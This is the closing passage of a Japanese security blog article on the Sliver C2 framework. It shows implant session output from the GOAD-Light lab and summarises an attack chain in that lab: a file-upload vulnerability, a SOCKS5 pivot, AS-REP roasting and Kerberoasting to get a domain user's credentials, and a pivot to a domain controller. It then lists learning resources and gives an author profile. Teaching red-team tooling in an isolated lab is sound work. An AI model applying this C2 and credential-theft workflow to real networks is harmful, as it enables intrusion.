TH\jon.snow   C:\Users\jon.snow\SMILING_STEP-SON.exe (7412)   -           windows/amd64      en-US    Sun
 Aug 23 15:01:13 EDT 2026 (39s ago)   [ALIVE]

[127.0.0.1] sliver (CONFIDENTIAL_MISS) > use 0da1e441

[*] Active session SMILING_STEP-SON (0da1e441-9a2b-434d-87f1-3e89e29c1dc1)

[127.0.0.1] sliver (SMILING_STEP-SON) > info

        Session ID: 0da1e441-9a2b-434d-87f1-3e89e29c1dc1
              Name: SMILING_STEP-SON
          Hostname: winterfell
              UUID: 87424d56-a3f8-7bd3-2c15-47c6ab83bfee
          Username: NORTH\jon.snow
               UID: S-1-5-21-2070909237-3883694846-2238867335-1118
               GID: S-1-5-21-2070909237-3883694846-2238867335-513
               PID: 7412
                OS: windows
           Version: Server 2016 build 17763 x86_64
            Locale: en-US
              Arch: amd64
         Active C2: 
    Remote Address: 192.168.200.22:50356->CONFIDENTIAL_MISS->
         Proxy URL: 
Reconnect Interval: 1m0s
     First Contact: Sun Aug 23 14:59:13 EDT 2026 (2m57s ago)
      Last Checkin: Sun Aug 23 15:01:13 EDT 2026 (57s ago)

ファイルアップロードの脆弱性でSRV02(castelblack)上でImplantを実行し、SOCKS5プロキシで内部ネットワークに接続しました。 その後、ASREP-RoastingとKerberoastingを使用してjon.snowユーザーとしての資格情報を得ました。 最後に、SRV02(castelblack)上のImplantを経由したピボット接続で、DC02(winterfell)上のjon.snowユーザーとしてsessionを確立しました。

6. Sliverの学習に役立つ情報

Sliverは多くの機能を備えているため、公式ドキュメントnew window[21]で現在の仕様を確認し、開発元が公開しているワークショップで操作の流れを学んだ後、隔離した演習環境で再現すると理解しやすいと思います。

6-1. 公式ドキュメント

まずは、公式ドキュメントのGetting Startednew window[3]に沿って、次の順序で基本操作を試すことを推奨します。

  1. Sliver Clientを起動し、Sliver Serverへの接続を確認する
  2. mTLSまたはHTTPSのC2リスナーを1つ起動する
  3. Session型とBeacon型のImplantをそれぞれ生成する
  4. whoami、pwd、ls、ファイル転送などの基本操作を試す
  5. 2つのネットワークを用意し、ポートフォワーディングとSOCKS5を試す
  6. 必要に応じてマルチプレイヤーモードやArmoryを試す

6-2. 公式ワークショップ

Sliverの開発元であるBishop Foxは、Sliverを題材にした公式ワークショップを録画で公開していますnew window[22]

  1. Sliver Workshop Part 1: Getting Started & 1.6 Featuresnew window[23]
  2. Sliver Workshop Part 2: Staging & Automationnew window[24]
  3. Sliver Workshop Part 3: Building Better Encodersnew window[25]

7. 最後に

今回は、オープンソースのC2フレームワークであるSliverについて概要と基本的な使い方、特徴的な機能、インストール方法を紹介しました。 また、GOAD-Lightを使用し、外部から直接到達できない内部ネットワークへアクセスする流れを紹介しました。
Sliverは2020年にv1.0.0-betaが公開されて以降、オープンソースのC2フレームワークとして広く知られるようになり、セキュリティ専門家だけでなく攻撃者の悪用事例も確認されています。以前紹介したCobalt Strike[26]は高価かつ購入に審査が必要な商用製品であるため、今回は初学者が気軽に扱うことができるC2フレームワークとしてSliverを紹介しました。
本記事がC2フレームワークの概要を理解する一助となれば幸いです。

8. 参考文献

執筆者プロフィール

外山 拓(とやま たく)
担当領域:リスクハンティング
専門分野:オフェンシブセキュリティ

ペネトレーションテストやTLPTを主な業務としつつ、セキュリティ研修講師や社内CTF運営として得られた知見を社内外に還元している。
情報処理安全確保支援士(RISS)/CISSP,CCSP/CISA,CISM/GXPN/CEH MASTER/CRTP,CRTE/CRTO,CRTL/OSCP+,OSWE,OSED/IPA(ES,SC,NW)/AWS(SAP,SCS)/Azure(AZ-305,SC-100)/LinuC303/RHCSA/2級鍵師/甲種火薬類取扱保安責任者/危険物乙種3,4,5,6類/CVE19件報告実績などを保持。

執筆者の他の記事を読む

アクセスランキング